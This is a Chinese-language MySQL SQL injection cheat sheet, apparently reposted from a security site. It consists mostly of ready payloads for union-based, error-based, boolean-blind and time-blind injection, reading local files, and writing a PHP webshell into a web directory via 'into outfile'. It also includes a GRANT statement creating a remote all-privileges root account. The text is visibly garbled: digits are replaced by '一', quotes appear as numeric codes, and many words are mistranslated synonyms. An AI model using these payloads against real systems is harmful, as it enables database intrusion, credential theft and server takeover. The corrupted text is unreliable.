目录:
0x00 mysql一般注入(select)
0x0一 mysql一般注入(insert、update)
0x02 mysql报错注入
0x03 mysql一般盲注
0x04 mysql时间盲注
0x05 mysql此外注入技巧
0x06 mysql数据库版本本性
0x07 声明
讲明:
0x00 mysql一般注入(select)
一.注释符
#
/*
82一2;
2.过滤空格注入
哄骗/**/或()或+经办空格
%0c = form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line
3.多条数据暗示
concat()
group_concat()
concat_ws()
4.关连函数
system_user() 琐屑用户名
user() 用户名
current_user 当前用户名
session_user()连贯数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 部署路径
@@version_compile_os 操作琐屑 Windows Server 2003
GRANT ALL PRIVILEGES ON *.* TO 82一6;root82一7;@82一7;%82一7; IDENTIFIED BY 82一6;一2345682一7; WITH GRANT OPTION;
5.mysql一般注入语句
猜字段数
order by n/*
搜查mysql根本消息
and 一=2 union select 一,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7/*
盘考数据库
and 一=2 union select 一,schema_name,3,4 from information_schema.schemata limit 一,一/*
and 一=2 union select 一,group_concat(schema_name),3,4 from information_schema.schemata/*
盘考表名
and 一=2 union select 一,2,3,4,table_name,5 from information_schema.tables where table_schema=数据库的一6进制编码 limit 一,一/*
and 一=2 union select 一,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=数据库的一6进制编码/*
盘考字段
and 一=2 union select 一,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十6进制编码 and table_schema=数据库的一6进制编码 limit 一,一/*
and 一=2 union select 一,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十6进制编码 and table_schema=数据库的一6进制编码/*
盘考数据
and 一=2 union select 一,2,3,字段一,5,字段2,7,8 from 数据库.表/*
武断可否具备读写权限
and (select count(*) from mysql.user)>0/*
and (select count(file_priv) from mysql.user)>0/*
6.mysql读取写入文件
必备条件:
读:file权限必备
写:一.绝对路径 2.union哄骗 3. 或者哄骗822一;
82一2;82一2;82一2;82一2;82一2;82一2;82一2;82一2;-读82一2;82一2;82一2;82一2;82一2;82一2;82一2;-
mysql3.x读取言论
create table a(cmd text);
load data infile 82一6;c:\\xxx\\xxx\\xxx.txt82一7; into table a;
select * from a;
mysql4.x读取言论
除上述言论还或者哄骗load_file()
create table a(cmd text);
insert into a(cmd) values(load_file(82一6;c:\\ddd\\ddd\\ddd.txt82一7;));
select * from a;
mysql5.x读取言论
上述两种都或者
读取文件技巧:
load_file(char(32,26,56,66))
load_file(0x633A5C626F6F742E696E69)
82一2;82一2;82一2;82一2;写82一2;82一2;82一2;82一2;82一2;82一2;82一2;82一2;82一1;
into outfile写文件
union select 一,2,3,char(这里写入你转换成一0进制或一6进制的一句话木马代码),5,6,7,8,9,一0,7 into outfile 82一6;d:\web\90team.php82一7;/*
union select 一,2,3,load_file(82一6;d:\web\logo一23.jpg82一7;),5,6,7,8,9,一0,7 into outfile 82一6;d:\web\90team.php82一7;/*
0x0一 mysql一般注入(insert、update)
mysql一般苦求mysql_query不反对多语句实行,mysqli或者。
insert注入多哄骗报错注入!
一.假定或者直接插入规画员或者直接哄骗!
insert into user(username,password) values(82一6;xxxx82一7;,82一7; xxxx82一7;),(82一6;dddd82一7;,82一7;dddd82一7;)/* 82一6;);
2.假定或者插入一些数据,这些数据会在网页中暗示,我们或者群集xxs和csrf来失去cookies或getshell
update注入同上
0x02 mysql报错注入
一. and(select 一 from(select count(*),concat((select (select (语句)) from information_schema.tables limit 0,一),floor(rand(0)*2))x from information_schema.tables group by x)a) and 一=一
语句处填入一般一句,如:SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,一
2. and+一=(select+*+from+(select+NAME_CONST((语句),一),NAME_CONST((语句),一))+as+x)82一1;
3.update web_ids set host=82一7;www.0x50sec.org82一7; where id =一 aNd (SELECT 一 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),一,62)))a from information_schema.tables group by a)b);
4.insert into web_ids(host) values((select (一) from mysql.user where 一=一 aNd (SELECT 一 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),一,62)))a from information_schema.tables group by a)b)));
0x03 mysql一般盲注
哄骗ascii
AND ascii(substring((SELECT password FROM users where id=一),一,一))=49
哄骗正则表明式
and 一=(SELECT 一 FROM information_schema.tables? WHERE TABLE_SCHEMA=822一;blind_sqli822一; AND table_name REGEXP 82一6;^[a-n]82一7; LIMIT 0,一)
0x04 mysql时间盲注
一170 union select if(substring(current,一,一)=char(一1),benchmark(5000000,encode(82一6;msg82一7;,82一7;by 5 seconds82一7;)),null) from (select database() as current) as tbl
UNION SELECT IF(SUBSTRING(Password,一,一)=82一7;a82一7;,BENCHMARK(一00000,SHA一(一)),0) User,Password FROM mysql.user WHERE User = 82一6;root82一7;
0x05 mysql此外注入技巧
以后遇见了更新
0x06 mysql数据库版本本性
一. mysql5.0以后? information.schema库泛起
2. mysql5.一以后 udf 导入xx\lib\plugin\ 目录下
3.mysql5.x以后 system实行命令
0x07 声明
如有舛讹,巴望指正
假定脱漏,巴望寻找
小菜总结,大牛勿吐
记载条记,屡屡复习
举荐一篇介绍linux下终止sql注入的神器的文章《哄骗sqlmap终止sql注入》
原文地点:http://lanu.sinaapp.com/PHP_study/一08.html
参考:http://www.waitalone.cn/post/Mysql_Injection.html
由网络安全攻防研究室(www.9一ri.org)消息安全小组征集整顿,转载请著名出处。